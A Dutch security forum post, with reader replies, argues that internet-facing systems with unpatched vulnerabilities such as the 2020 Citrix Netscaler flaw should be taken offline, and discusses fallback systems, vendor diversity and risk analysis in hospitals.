Computerbeveiliging
- Hoe je bad guys buiten de deur houdt
Internet facing vulns - Citrix etcetera
15-01-2020, 23:03 door Erik van Straten, 67 reacties
Als een kwetsbaarheid in een internet facing systeem bekend wordt, waar (nog) geen patch voor beschikbaar is en er geen workaround bestaat die de risico's aantoonbaar voor 100% mitigeert, hoort zo'n systeem niet meer bereikbaar te zijn vanaf internet.
Los van de risico's voor de eigenaar van dat systeem (en mogelijkerwijs klanten, patiënten, personeel en anderen die risico's lopen bij verlies van vertrouwelijkheid, integriteit en beschikbaarheid) geldt dit m.i. voor elk internet facing systeem - of het nu gaat om een IoT device, router, VPN server, RDP server of een Citrix Netscaler enzovoorts. Immers, elk gecompromitteerd systeem met internetconnectiviteit kan worden misbruikt voor het uitvoeren van nieuwe aanvallen - op derden, maar ook op diegenen die er de bedoelde verbindingen mee maken.
Als een organisatie "niet zonder zo'n systeem kan", deugt het ontwerp niet. De vraag is allang niet meer of er kwetsbaarheden in systemen gevonden zullen worden, maar wanneer en hoe vaak. M.a.w. als een systeem "onmisbaar" is, dient er een alternatief voor te bestaan. Een vervanger waarop, zo snel als nodig is, kan worden overgeschakeld. Dit hoort net zo normaal te zijn als redundant uitgevoerde netwerkverbindingen, back-ups op andere locaties en RAID systemen. Regelmatig testen van de inzetbaarheid en het up-to-date houden van het "slapende" systeem horen daar natuurlijk bij.
Vanzelfsprekend moeten dit soort systemen niet van hetzelfde merk en type zijn. Tevens moet het aantoonbaar zijn dat ze niet allebei van dezelfde kritische componenten gebruikmaken (bijvoorbeeld OpenSSL, nginx en dergelijke); hoe meer verschillen, hoe beter. En mochten dat soort alternatieven nog niet bestaan, dan moeten we ervoor zorgen dat ze worden ontwikkeld.
Los van de risico's voor de eigenaar van dat systeem (en mogelijkerwijs klanten, patiënten, personeel en anderen die risico's lopen bij verlies van vertrouwelijkheid, integriteit en beschikbaarheid) geldt dit m.i. voor elk internet facing systeem - of het nu gaat om een IoT device, router, VPN server, RDP server of een Citrix Netscaler enzovoorts. Immers, elk gecompromitteerd systeem met internetconnectiviteit kan worden misbruikt voor het uitvoeren van nieuwe aanvallen - op derden, maar ook op diegenen die er de bedoelde verbindingen mee maken.
Als een organisatie "niet zonder zo'n systeem kan", deugt het ontwerp niet. De vraag is allang niet meer of er kwetsbaarheden in systemen gevonden zullen worden, maar wanneer en hoe vaak. M.a.w. als een systeem "onmisbaar" is, dient er een alternatief voor te bestaan. Een vervanger waarop, zo snel als nodig is, kan worden overgeschakeld. Dit hoort net zo normaal te zijn als redundant uitgevoerde netwerkverbindingen, back-ups op andere locaties en RAID systemen. Regelmatig testen van de inzetbaarheid en het up-to-date houden van het "slapende" systeem horen daar natuurlijk bij.
Vanzelfsprekend moeten dit soort systemen niet van hetzelfde merk en type zijn. Tevens moet het aantoonbaar zijn dat ze niet allebei van dezelfde kritische componenten gebruikmaken (bijvoorbeeld OpenSSL, nginx en dergelijke); hoe meer verschillen, hoe beter. En mochten dat soort alternatieven nog niet bestaan, dan moeten we ervoor zorgen dat ze worden ontwikkeld.
Reacties (67)
Men zou er inderdaad met design al rekening mee moeten houden. Bijvoorbeeld een firewall internet-facing (merk A), citrix gateway, firewall (merk B), dmz/interne netwerk. Op deze manier kun je de internet-facing firewall laten filteren op de Citrix vulnerability en dat verkeer droppen/virtueel patchen. Is je firewall aan de beurt (b.v. omdat je een Fortinet had) dan zou de tweede ook nog een vulnerability moeten hebben op hetzelfde moment om ook daadwerkelijk het interne netwerk binnen te komen. (uiteraard niet dezelfde credentials gebruiken)
Beheer zal wel complexer worden en het kost natuurlijk wat meer. Zeker als alles ook nog eens HA moet zijn. Dat is echter een afweging, de impact van een ransomware aanval moeten inmiddels toch ook wel duidelijk zijn.
Beheer zal wel complexer worden en het kost natuurlijk wat meer. Zeker als alles ook nog eens HA moet zijn. Dat is echter een afweging, de impact van een ransomware aanval moeten inmiddels toch ook wel duidelijk zijn.
Ik vraag me af hoe onmisbaar "onmisbaar" werkelijk is. Als het op kosten/baten-afwegingen neerkomt, aangenomen dat die goed worden gedaan, dan worden de kosten van het tijdelijk niet kunnen gebruiken van bijvoorbeeld Citrix vergeleken met wat het kost om een alternatief in de lucht te houden. Wie weet wordt de crisis van het tijdelijk niet kunnen gebruiken ervan dan wel als acceptabel risico gezien.
Maar die afweging moet wel gemaakt worden, en goed gemaakt worden, en periodiek opnieuw gemaakt worden, en je hebt volkomen gelijk dat de consequentie van onmisbaarheid is dat er een alternatief klaar moet staan om ingezet te kunnen worden.
Wellicht hoeft er geen compleet alternatief voor (in dit geval) Citrix opgetuigd te worden, maar alleen een terugvalmogelijkheid waarbij het niet direct aan het internet hangt maar benaderd wordt via bijvoorbeeld een VPN of (als dat met Citrix werkt, ik heb het met RDP in een ver verleden met succes gedaan) een SSH-tunnel. Een SSH-client is tegenwoordig standaard aanwezig en geactiveerd in Windows 10, als ik me niet vergis.
Maar die afweging moet wel gemaakt worden, en goed gemaakt worden, en periodiek opnieuw gemaakt worden, en je hebt volkomen gelijk dat de consequentie van onmisbaarheid is dat er een alternatief klaar moet staan om ingezet te kunnen worden.
Wellicht hoeft er geen compleet alternatief voor (in dit geval) Citrix opgetuigd te worden, maar alleen een terugvalmogelijkheid waarbij het niet direct aan het internet hangt maar benaderd wordt via bijvoorbeeld een VPN of (als dat met Citrix werkt, ik heb het met RDP in een ver verleden met succes gedaan) een SSH-tunnel. Een SSH-client is tegenwoordig standaard aanwezig en geactiveerd in Windows 10, als ik me niet vergis.
16-01-2020, 07:43 door
karma4
Eens, dat betekent dat je in het ontwerp al een scheiding moet maken waar de functionaliteit met risico impact anders is.
Het helpt al een stuk als je het least privilege op de koppelvlakken goed doorzet.
Het betekent ook dat er wat omgedraaid moet worden, Niet zo maar wat doen omdat de leverancier zegt wat er moet gebeuren. Wat van de leverancier komt zal in een stramien van eisen moeten passen.
Deze wordt lastig. De markt aan de leverancierskant wil graag uit kostenoverweging consolideren. De afnemers willen uit kosten overwegingen liefst uitbesteden. Neem nu:
https://www.citrix.com/blogs/2018/08/27/citrix-cloud-services-and-the-healthcare-ehr-market/
Je krijgt het als een compleet geheel voorgeschoteld noch de leverancier noch de afnemer hebben de details van alle componenten onder een beheer dat er meteen actie ondernomen kan worden.
Het helpt al een stuk als je het least privilege op de koppelvlakken goed doorzet.
Het betekent ook dat er wat omgedraaid moet worden, Niet zo maar wat doen omdat de leverancier zegt wat er moet gebeuren. Wat van de leverancier komt zal in een stramien van eisen moeten passen.
Deze wordt lastig. De markt aan de leverancierskant wil graag uit kostenoverweging consolideren. De afnemers willen uit kosten overwegingen liefst uitbesteden. Neem nu:
https://www.citrix.com/blogs/2018/08/27/citrix-cloud-services-and-the-healthcare-ehr-market/
Je krijgt het als een compleet geheel voorgeschoteld noch de leverancier noch de afnemer hebben de details van alle componenten onder een beheer dat er meteen actie ondernomen kan worden.
Wat een domme ongeïnformeerde mening. Dus stel dat je een kwetsbaarheid hebt die kan leiden tot een denial of service in een bepaald apparaat, dan mag dat apparaat niet meer beschikbaar zijn.
Elk bedrijf heeft een internet-facing firewall. Elke maand worden er meerdere kwetsbaarheden gevonden in firewalls, waarvan een groot deel niet heel ernstig is (bijvoorbeeld een niet heel spannende information exposure, of een local privilege escalation). Als we jouw advies zouden volgen, zou die firewall dus eigenlijk nooit aan het internet mogen hangen, omdat er constant kwetsbaarheden bijkomen.
Of bedoel je alleen ernstige kwetsbaarheden? Alleen sommige specifieke kwetsbaarheden? Hoe bepaal je wat een ernstige kwetsbaarheid is? Wie bepaalt of een kwetsbaarheid voldoende gemitigeerd is?
Elk bedrijf heeft een internet-facing firewall. Elke maand worden er meerdere kwetsbaarheden gevonden in firewalls, waarvan een groot deel niet heel ernstig is (bijvoorbeeld een niet heel spannende information exposure, of een local privilege escalation). Als we jouw advies zouden volgen, zou die firewall dus eigenlijk nooit aan het internet mogen hangen, omdat er constant kwetsbaarheden bijkomen.
Of bedoel je alleen ernstige kwetsbaarheden? Alleen sommige specifieke kwetsbaarheden? Hoe bepaal je wat een ernstige kwetsbaarheid is? Wie bepaalt of een kwetsbaarheid voldoende gemitigeerd is?
16-01-2020, 10:22 door
Erik van Straten
Door Anoniem: Wat een domme ongeïnformeerde mening.
Insgelijks.Door Anoniem: Dus stel dat je een kwetsbaarheid hebt die kan leiden tot een denial of service in een bepaald apparaat, dan mag dat apparaat niet meer beschikbaar zijn.
Als je niet wilt begrijpen wat ik welliswaar niet exact schreef maar wel bedoel, het volgende: als de aanvallen op Zutphen en Leeuwarden zijn gepleegd door bezorgde burgers en/of patiënten die vrezen dat hun vertrouwelijke gegevens worden gelekt door incompetente organisaties (die beschikbaarheid belangrijker vinden dan vertrouwelijkheid en integriteit, en nu alle drie kwijt zijn), dan zij deze DoS aanvallen voor 100% geslaagd. Ik zou bijna zeggen: dat er nog vele mogen volgen.Door Anoniem: Wat een domme ongeïnformeerde mening. Dus stel dat je een kwetsbaarheid hebt die kan leiden tot een denial of service in een bepaald apparaat, dan mag dat apparaat niet meer beschikbaar zijn.
De context waarin deze post geplaatst is is een lek in Citrix die aanvallers in staat stelt het hele systeem over te nemen, en meerdere berichten over organisaties die daadwerkelijk met een aanval erop te maken hebben.Ik zou jou nu kunnen vragen of jij nu dom bent omdat je dat negeerde of ongeïnformeerd omdat je het niet wist. ;-)
In plaats daarvan doe ik je de suggestie om voortaan niet meteen de aanval in te zetten maar om beleefd te blijven. Je komt niet intelligent over door een ander voor dom uit te maken, en niet geïnformeerd door een ander voor ongeïnformeerd uit te maken. En als je het doet met iemand als Erik, die op deze site regelmatig intelligente en goed geïnformeerde bijdragen levert, dan maak je vooral jezelf belachelijk. Als je in plaats van een ruzie een discussie aangaat loop je kans dat iedereen, inclusief jij, er wijzer van wordt.
Door Erik van Straten:
En als je had gezegd dat dit alleen geldt in sommige extreme situaties, bij bepaalde kritieke kwetsbaarheden, en pas nadat het NCSC daar een advies over gegeven heeft, was ik het heel wat eerder met je eens geweest. Dan nog was 't te kort door de bocht, maar goed. Maar je had het over "kwetsbaarheden," als in, gewoon allemaal.Door Anoniem: Wat een domme ongeïnformeerde mening.
Insgelijks.Door Anoniem: Dus stel dat je een kwetsbaarheid hebt die kan leiden tot een denial of service in een bepaald apparaat, dan mag dat apparaat niet meer beschikbaar zijn.
Als je niet wilt begrijpen wat ik welliswaar niet exact schreef maar wel bedoel, het volgende: als de aanvallen op Zutphen en Leeuwarden zijn gepleegd door bezorgde burgers en/of patiënten die vrezen dat hun vertrouwelijke gegevens worden gelekt door incompetente organisaties (die beschikbaarheid belangrijker vinden dan vertrouwelijkheid en integriteit, en nu alle drie kwijt zijn), dan zij deze DoS aanvallen voor 100% geslaagd. Ik zou bijna zeggen: dat er nog vele mogen volgen.Voor het overige zijn dit geen DoS-aanvallen. De omgevingen zijn door de organisaties zelf offline gehaald. Dat is iets heel anders. Je maakt 't niet veel beter zo...
Door Anoniem: Wat een domme ongeïnformeerde mening. Dus stel dat je een kwetsbaarheid hebt die kan leiden tot een denial of service in een bepaald apparaat, dan mag dat apparaat niet meer beschikbaar zijn.
Dat kan jij vinden maar men zou daardoor wel gedwongen zijn het probleem meteen op te lossen (ervan uitgaande dat het apparaat of de dienst - veel - gebruikt wordt). In plaats van de - vaak ongeïnformeerde - gok maar te wagen en het op z'n beloop te laten, waardoor het probleem uiteindelijk en onnodig bij de gebruiker belandt.
16-01-2020, 13:34 door
karma4
Door The FOSS:
Dat kan jij vinden maar men zou daardoor wel gedwongen zijn het probleem meteen op te lossen (ervan uitgaande dat het apparaat of de dienst - veel - gebruikt wordt). In plaats van de - vaak ongeïnformeerde - gok maar te wagen en het op z'n beloop te laten, waardoor het probleem uiteindelijk en onnodig bij de gebruiker belandt.
Verdiep je even verder in MCL met epic. Dan zie je een hele stack waar je niet zo maar wat op kan zitten gaan veranderen.Dat kan jij vinden maar men zou daardoor wel gedwongen zijn het probleem meteen op te lossen (ervan uitgaande dat het apparaat of de dienst - veel - gebruikt wordt). In plaats van de - vaak ongeïnformeerde - gok maar te wagen en het op z'n beloop te laten, waardoor het probleem uiteindelijk en onnodig bij de gebruiker belandt.
Voor je het valt de stack om wat betekent dat je effectief de boel als ware een ddos onwerkbaar gemaakt hebt.
De gebruiker is in de overeenkomsten contracten bij de systemen MCL. Daar is de CEO de leidende persoon.
Vanuit deze hoek komt de opdracht dat er niets veranderd mag worden en alleen met goedkeuring etc een beheerder wat mag aanpassen.
Door karma4:
Voor je het valt de stack om wat betekent dat je effectief de boel als ware een ddos onwerkbaar gemaakt hebt.
De gebruiker is in de overeenkomsten contracten bij de systemen MCL. Daar is de CEO de leidende persoon.
Vanuit deze hoek komt de opdracht dat er niets veranderd mag worden en alleen met goedkeuring etc een beheerder wat mag aanpassen.
Door The FOSS:
Dat kan jij vinden maar men zou daardoor wel gedwongen zijn het probleem meteen op te lossen (ervan uitgaande dat het apparaat of de dienst - veel - gebruikt wordt). In plaats van de - vaak ongeïnformeerde - gok maar te wagen en het op z'n beloop te laten, waardoor het probleem uiteindelijk en onnodig bij de gebruiker belandt.
Verdiep je even verder in MCL met epic. Dan zie je een hele stack waar je niet zo maar wat op kan zitten gaan veranderen.Dat kan jij vinden maar men zou daardoor wel gedwongen zijn het probleem meteen op te lossen (ervan uitgaande dat het apparaat of de dienst - veel - gebruikt wordt). In plaats van de - vaak ongeïnformeerde - gok maar te wagen en het op z'n beloop te laten, waardoor het probleem uiteindelijk en onnodig bij de gebruiker belandt.
Voor je het valt de stack om wat betekent dat je effectief de boel als ware een ddos onwerkbaar gemaakt hebt.
De gebruiker is in de overeenkomsten contracten bij de systemen MCL. Daar is de CEO de leidende persoon.
Vanuit deze hoek komt de opdracht dat er niets veranderd mag worden en alleen met goedkeuring etc een beheerder wat mag aanpassen.
"... De gebruiker is in de overeenkomsten contracten bij de systemen MCL..."
Begrijp ik niet. Kan je dat verduidelijken?
"...Daar is de CEO de leidende persoon. Vanuit deze hoek komt de opdracht dat er niets veranderd mag worden en alleen met goedkeuring etc een beheerder wat mag aanpassen..."
Is dat een aanname?
Zo niet, waar baseer je dat dan op?
Door Erik van Straten: Vanzelfsprekend moeten dit soort systemen niet van hetzelfde merk en type zijn. Tevens moet het aantoonbaar zijn dat ze niet allebei van dezelfde kritische componenten gebruikmaken [...] hoe meer verschillen, hoe beter.
https://en.wikipedia.org/wiki/Heterogeneous_network
Ecologen noemen dat principe biodiversiteit. Dat is het tegenovergestelde van een monocultuur. Een grote graad van diversiteit maakt een ecosysteem resistenter tegen verstoring. Misschien dat de ICT sector iets kan leren van de boeren, die het principe van de rotatieteelt bedachten, om de uitputting van de bodem en ziekten aan gewassen te vermijden.
Door Anoniem: https://en.wikipedia.org/wiki/Heterogeneous_network
Ecologen noemen dat principe biodiversiteit. [...]
Dit soort vergelijkingen gaan vaak niet goed op en het is ook niet wat per definitie verstandig is. Daarnaast heb je vaak geen of nauwelijks keuze: ik vermoed dat bij de keuze voor een CTG systeem het besturingssysteem van een terminal geen rol van betekenis speelt. Bovendien vereist het beheer van verschillende systemen aan heterogene netwerken een uitgebreidere kennis of meer specialisten. Bij gebrek daaraan nemen de beveiligingsrisico's alleen maar toe. En als verschillende systemen onderling moeten communiceren, kunnen kwetsbaarheden in de onderliggende protocollen je sowieso opbreken.Ecologen noemen dat principe biodiversiteit. [...]
Het gaat mij vooral om een weloverwogen risicoanalyse. Als een systeem kennelijk onmisbaar is voor een organisatie, en je onvoldoende rekening houdt met onbeschikbaarheid - onder meer ten gevolge van kwetsbaarheden (ook die net voor een kerstvakantie worden gepubliceerd), was het geen goede risicoanalyse.
Een -ongetwijfeld prijzige- oplossing hiervoor is het achter de hand hebben van een niet kwetsbaar schaduwsysteem. Ervan uitgaande dat vertrouwelijke gegevens in het spel zijn (niet alleen gangbaar in ziekenhuizen, en niet alleen in dergelijke instellingen zijn er hoge eisen t.a.v. integriteit -d.w.z. betrouwbaarheid- en beschikbaarheid), bestaat er slechts één andere remedie: uitzetten. Bij elke andere keuze hou je iedereen voor de gek.
Nb. 24x7 met je hand boven een rode knop gaan zitten, en drukken zodra je iets vreemds ziet, lijkt mij noch een praktische, noch een betrouwbare oplossing (Russisch roulette met patiëntgegevens, zoals MCL lijkt te hebben toegepast - met als gevolg dat "de patiënt nog aan de monitor hangt" en nog niet "buiten levensgevaar" is - en we maar moeten afwachten of de waarheid boven tafel komt en wanneer).
Goed (maar m.i. wel veel te laat) dat het NCSC nu eindelijk ook adviseert om kwetsbare systemen uit te zetten: https://www.ncsc.nl/actueel/nieuws/2020/januari/16/door-citrix-geadviseerde-mitigerende-maatregelen-niet-altijd-effectief (bron: https://tweakers.net/nieuws/162386/advies-ncsc-overweeg-citrix-adc-en-gateway-servers-uit-te-schakelen.html).
Security wordt nog te vaak gezien als iets waar je compromissen over kunt sluiten - waardoor er met gegevens van derden wordt gegokt.
P.S. Dank aan allen voor de reacties!
17-01-2020, 07:50 door
The FOSS
Door Erik van Straten: Een -ongetwijfeld prijzige- oplossing hiervoor is het achter de hand hebben van een niet kwetsbaar schaduwsysteem.
Als je een werkelijk niet kwetsbaar schaduwsysteem kan maken dan zou dat (ook) het hoofdsysteem moeten zijn. Als het alleen maar niet kwetsbaar is omdat het niet aan internet hing dan zal het zodra het wordt aangesloten ook ten prooi vallen aan dezelfde kwetsbaarheid die het hoofdsysteem om zeep hielp.
17-01-2020, 08:07 door
karma4
Door The FOSS:
Als je een werkelijk niet kwetsbaar schaduwsysteem kan maken dan zou dat (ook) het hoofdsysteem moeten zijn. Als het alleen maar niet kwetsbaar is omdat het niet aan internet hing dan zal het zodra het wordt aangesloten ook ten prooi vallen aan dezelfde kwetsbaarheid die het hoofdsysteem om zeep hielp.
Je hoeft niet eens een volledig schaduwsysteem te hebben. Als je het ontwerp bij elke functie zo hebt dat er meerdere beveiligingslagen zijn dan zou al veel helpen, Zelfs basis input validatie wordt te vaak wegens het kostenargument al achterwege gelaten. Alle belangrijke processen met least privileges en eigen service accounts draaien zou al veel helpen.Door Erik van Straten: Een -ongetwijfeld prijzige- oplossing hiervoor is het achter de hand hebben van een niet kwetsbaar schaduwsysteem.
Als je een werkelijk niet kwetsbaar schaduwsysteem kan maken dan zou dat (ook) het hoofdsysteem moeten zijn. Als het alleen maar niet kwetsbaar is omdat het niet aan internet hing dan zal het zodra het wordt aangesloten ook ten prooi vallen aan dezelfde kwetsbaarheid die het hoofdsysteem om zeep hielp.
Nu moet je eens aankomen in organisaties dat je tientallen van die service accounts nodig hebt. Ze slaan meteen op tilt.
Door Anoniem:
"... De gebruiker is in de overeenkomsten contracten bij de systemen MCL..."
Begrijp ik niet. Kan je dat verduidelijken?
Neem MCL dat Epic aanschaft. https://www.computable.nl/artikel/nieuws/zorg/5733496/250449/invoering-epd-epic-kost-mc-leeuwarden-30-miljoen.html. De klant afnemer gebruiker van EPIC is MCL. Zo zijn de contracten opgesteld en afgestemd. Je verwacht dat EPIC zij afnemers bij problemen op de hoogte stelt. Zij (Epic) hebben het samengesteld, kennen de afhankelijkheden en hebben testfaciliteiten."... De gebruiker is in de overeenkomsten contracten bij de systemen MCL..."
Begrijp ik niet. Kan je dat verduidelijken?
Citrix is een van de vele leveranciers van Epic. Voor Citrix is Epic de klant / afnemer / gebruiker. Daar moeten onderlinge afspraken voor zijn, Je vindt soms iets in een promotie nieuws. Dan verwacht je dat daar ook voor problemen goede afspraken gemaakt zijn.
Het ziekenhuis MCL heeft voor de zorg zijn patiënten dat zijn de zorggebruikers klanten van het ziekenhuis.
Werknemers zijn intern gebruikers van een systeem waarmee ze hun werk moeten doen waarbij een dienst, voor epic de ict afdeling, het eerste contact is. Daarvoor worden interne afspraken in MCL gemaakt. eindverantwoordelijke: de CEO.
Als zorggebruiker kun je niet bij citrix klagen je bent geen gebruiker van ze. Als werknemer MCL heb je ook niets met een klachtlijn en verhaal naar Citrix. Je moet de hele keten weer terug aflopen,
Niet echt bijzonder. Met een constructiefout in een apparaat gaat het ook naar degene die het apparaat heeft gemaakt, niet naar degene die een onderdeel daarvoor geleverd heeft.
"...Daar is de CEO de leidende persoon. Vanuit deze hoek komt de opdracht dat er niets veranderd mag worden en alleen met goedkeuring etc een beheerder wat mag aanpassen..."
Is dat een aanname?
Zo niet, waar baseer je dat dan op?
Geen aanname, het is de verplichting zoals die in NEN7510 en BIO is opgenomen.Is dat een aanname?
Zo niet, waar baseer je dat dan op?
Door The FOSS:
Als je een werkelijk niet kwetsbaar schaduwsysteem kan maken dan zou dat (ook) het hoofdsysteem moeten zijn. Als het alleen maar niet kwetsbaar is omdat het niet aan internet hing dan zal het zodra het wordt aangesloten ook ten prooi vallen aan dezelfde kwetsbaarheid die het hoofdsysteem om zeep hielp.
Door Erik van Straten: Een -ongetwijfeld prijzige- oplossing hiervoor is het achter de hand hebben van een niet kwetsbaar schaduwsysteem.
Als je een werkelijk niet kwetsbaar schaduwsysteem kan maken dan zou dat (ook) het hoofdsysteem moeten zijn. Als het alleen maar niet kwetsbaar is omdat het niet aan internet hing dan zal het zodra het wordt aangesloten ook ten prooi vallen aan dezelfde kwetsbaarheid die het hoofdsysteem om zeep hielp.
Ja duh. Niet kwetsbaar zoals ik schreef in mijn bovenste bijdrage:
Vanzelfsprekend moeten dit soort systemen niet van hetzelfde merk en type zijn. Tevens moet het aantoonbaar zijn dat ze niet allebei van dezelfde kritische componenten gebruikmaken (bijvoorbeeld OpenSSL, nginx en dergelijke); hoe meer verschillen, hoe beter. En mochten dat soort alternatieven nog niet bestaan, dan moeten we ervoor zorgen dat ze worden ontwikkeld.
En daarom ongetwijfeld prijzig.Voorbeeld: als de risico's van een normaliter gebruikte VPN- of VPN-achtige server groter worden dan bij de selectie (horen te) zijn bepaald, bijv. door een kwetsbaarheid of omdat er een nieuwe major versie van wordt uitgebracht (waardoor de oude versie niet meer, of minder goed, door de fabrikant wordt ondersteund), dan hoort zo'n server van internet gehaald te worden. En pas weer te worden aangesloten als de risico's tot een -weloverwogen- acceptabel niveau zijn teruggebracht.
Als het onacceptabel is dat bepaalde functionaliteit enige tijd ontbreekt, moet je een ander systeem hebben om op terug te vallen. Vanzelfsprekend kan er daarbij voor gekozen worden om beperkte functionaliteit te bieden. Bijvoorbeeld dat patiënten niet meer remote bij hun dossiers kunnen, maar verbindingen met (bijv. specialisten in) andere ziekenhuizen, zonodig met aangepast protocol, wel opgezet kunnen worden.
Het probleem hier (en afgelopen jaar bij o.a. Pulse Secure VPN servers) is m.i. echt dat het ontstaan van kwetsbaarheden in een apparaat en daamee een systeem, onvoldoende of niet worden meegenomen tijdens de ontwerpfase van dat systeem. Ook de exit-strategie van componenten (en het hele systeem) wordt daarbij vaak "vergeten".
Met als gevolg dat, zodra een probleem zich voordoet, de verkeerde mensen onjuiste beslissingen nemen. En dat onder druk van tijd en collega's die zeggen de functionaliteit niet te kunnen missen, en meestal zonder het inzicht in hoe groot het risico van een kwetsbaarheid is, en hoe effectief een workaround is. Als de druk om maatregelen te nemen na elk nieuwsfeitje een klein beetje toeneemt, en het nog nooit eerder - en nog steeds niet - "fout is gegaan", heb je een mooi recept voor een ramp.
En als het fout gaat (zoals ook bij Equifax), is het dus onterecht dat een enkele systeembeheerder daar de schuld van krijgt.
Indien er sprake is van gegevens met dusdanige eisen t.a.v. vertrouwelijkheid, integriteit en beschikbaarheid, met name bij grote hoeveelheden (het risico desgewenst uit te drukken in losgeld-bitcoins), hoor je systemen en procedures op de plank te hebben liggen en, ook bij twijfel, onmiddellijk in te zetten - om beveiligingsincidenten te helpen voorkomen. Het besluit om daarop te bezuinigen wreekt zich in dit soort situaties (nb. kennisgebrek is geen excuus: zorg dat je goede adviseurs in dienst hebt, of huur ze desnoods in). Als AVG boetes niet helpen, moeten we deze bezuinigers maar eens persoonlijk gaan vervolgen. Naast eruit flikkeren - zonder loosgeld natuurlijk.
Of je nou diamanten, digitale patiëntgegevens of digitale data van burgers in huis wilt nemen, je zult de beveiliging daarop moeten aanpassen. En dat kost serieus geld.
Het is eigenlijk heel simpel, je moet dit soort systemen nooit direct aan het internet hangen, dat is regel nummer 1. En verder is het een kwestie van steeds meer segmentatie.
En verder moet IT personeel meer op hun strepen staan en nee durven zeggen. Je bent er niet om het management te paaien, maar om het netwerk werkend en veilig te houden en alleen jij en je collega's hebben die kennis, een management kan zoveel willen maar zijn niet kundig.
En security hoeft echt niet extreem veel geld te kosten, maar je hebt wel lT personeel nodig met de juiste kennis en die de juiste beslissingen kunnen maken.
En verder moet IT personeel meer op hun strepen staan en nee durven zeggen. Je bent er niet om het management te paaien, maar om het netwerk werkend en veilig te houden en alleen jij en je collega's hebben die kennis, een management kan zoveel willen maar zijn niet kundig.
En security hoeft echt niet extreem veel geld te kosten, maar je hebt wel lT personeel nodig met de juiste kennis en die de juiste beslissingen kunnen maken.
Door Anoniem:
Voor het overige zijn dit geen DoS-aanvallen. De omgevingen zijn door de organisaties zelf offline gehaald. Dat is iets heel anders. Je maakt 't niet veel beter zo...
Door Erik van Straten:
En als je had gezegd dat dit alleen geldt in sommige extreme situaties, bij bepaalde kritieke kwetsbaarheden, en pas nadat het NCSC daar een advies over gegeven heeft, was ik het heel wat eerder met je eens geweest. Dan nog was 't te kort door de bocht, maar goed. Maar je had het over "kwetsbaarheden," als in, gewoon allemaal.Door Anoniem: Wat een domme ongeïnformeerde mening.
Insgelijks.Door Anoniem: Dus stel dat je een kwetsbaarheid hebt die kan leiden tot een denial of service in een bepaald apparaat, dan mag dat apparaat niet meer beschikbaar zijn.
Als je niet wilt begrijpen wat ik welliswaar niet exact schreef maar wel bedoel, het volgende: als de aanvallen op Zutphen en Leeuwarden zijn gepleegd door bezorgde burgers en/of patiënten die vrezen dat hun vertrouwelijke gegevens worden gelekt door incompetente organisaties (die beschikbaarheid belangrijker vinden dan vertrouwelijkheid en integriteit, en nu alle drie kwijt zijn), dan zij deze DoS aanvallen voor 100% geslaagd. Ik zou bijna zeggen: dat er nog vele mogen volgen.Voor het overige zijn dit geen DoS-aanvallen. De omgevingen zijn door de organisaties zelf offline gehaald. Dat is iets heel anders. Je maakt 't niet veel beter zo...
Bij een DoS staat het los of een systeem door eigen handelen of door falen niet meer bereikbaar is: effect blijft dat de service niet meer te gebruiken is.
Dus maw: deze DoS heeft zijn doel bereikt: de dienst is niet meer bruikbaar ;-)
17-01-2020, 11:48 door
Tintin and Milou
Door Erik van Straten: Als een kwetsbaarheid in een internet facing systeem bekend wordt, waar (nog) geen patch voor beschikbaar is en er geen workaround bestaat die de risico's aantoonbaar voor 100% mitigeert, hoort zo'n systeem niet meer bereikbaar te zijn vanaf internet.
Is dit niet een eigenschap van alle software? Niemand zal je 100% garantie geven op hun software.Als een organisatie "niet zonder zo'n systeem kan", deugt het ontwerp niet. De vraag is allang niet meer of er kwetsbaarheden in systemen gevonden zullen worden, maar wanneer en hoe vaak. M.a.w. als een systeem "onmisbaar" is, dient er een alternatief voor te bestaan. Een vervanger waarop, zo snel als nodig is, kan worden overgeschakeld. Dit hoort net zo normaal te zijn als redundant uitgevoerde netwerkverbindingen, back-ups op andere locaties en RAID systemen. Regelmatig testen van de inzetbaarheid en het up-to-date houden van het "slapende" systeem horen daar natuurlijk bij.
Dit is natuurlijk een mogelijkheid. Maar bepaalde componenten zijn nu eenmaal niet te vervangen, of het maakt juist de oplossing nog complexer, waarmee een outage kan voorkomen.Als je Oracle database een exploit bevat, heb je hier ook niet zomaar even een alternatief voor. En zo zijn er nog hele mogelijkheden te bedenken.
Vanzelfsprekend moeten dit soort systemen niet van hetzelfde merk en type zijn. Tevens moet het aantoonbaar zijn dat ze niet allebei van dezelfde kritische componenten gebruikmaken (bijvoorbeeld OpenSSL, nginx en dergelijke); hoe meer verschillen, hoe beter. En mochten dat soort alternatieven nog niet bestaan, dan moeten we ervoor zorgen dat ze worden ontwikkeld.
Hoe meer verschillen, ook hoe complexer mogelijk de integratie en ondersteuning kan zijn.Waarbij ook nog eens leveranciers naar elkaar kunnen wijzen bij problemen.
Ik vindt het een leuke theoretisch oplossing, maar kan alleen maar meer problemen of stabiliteit issues geven. Iets waar je heel goed over na moet denken, voordat je aan dit soort oplossingen begint.
Door karma4: Citrix is een van de vele leveranciers van Epic. Voor Citrix is Epic de klant / afnemer / gebruiker. Daar moeten onderlinge afspraken voor zijn, Je vindt soms iets in een promotie nieuws. Dan verwacht je dat daar ook voor problemen goede afspraken gemaakt zijn.
Volgens mij is Citrix geen leverancier van Epic. Tenminste ik kan er niets over vinden. Citrix wordt wel veel gebruikt om Epic te ontsluiten naar gebruikers. Maar dat is heel iets anders dan dat Citrix een leverancier is van Epic. Ze zullen waarschijnlijk wel een partnership of strategische partner zijn, al dan niet met certificeringen.Epic zal ook via een reverse proxy / loadbalancer vanuit de netscaler aangeboden zijn richting het Internet. En aangezien dit meestal op de zelfde instance draait, is de enige oplossing om deze instance uit te zetten indien deze Netscaler instance compromised is.
17-01-2020, 12:42 door
Erik van Straten
Door Tintin and Milou:
Natuurlijk bestaat 100% veilig niet. Wat ik bedoel is dat je, om te voldoen aan ISO 27001 / NEN 7510, een risicoanalyse moet uitvoeren, bij voorkeur tijdens de fase van systeemontwerp, doch in elk geval voor ingebruikname. Daaruit volgt een zo goed mogelijk ingeschat risico. Als dat risico door voorziene omstandigheden wordt vergroot, hoor je een procedure op de plank te hebben liggen.Door Erik van Straten: Als een kwetsbaarheid in een internet facing systeem bekend wordt, waar (nog) geen patch voor beschikbaar is en er geen workaround bestaat die de risico's aantoonbaar voor 100% mitigeert, hoort zo'n systeem niet meer bereikbaar te zijn vanaf internet.
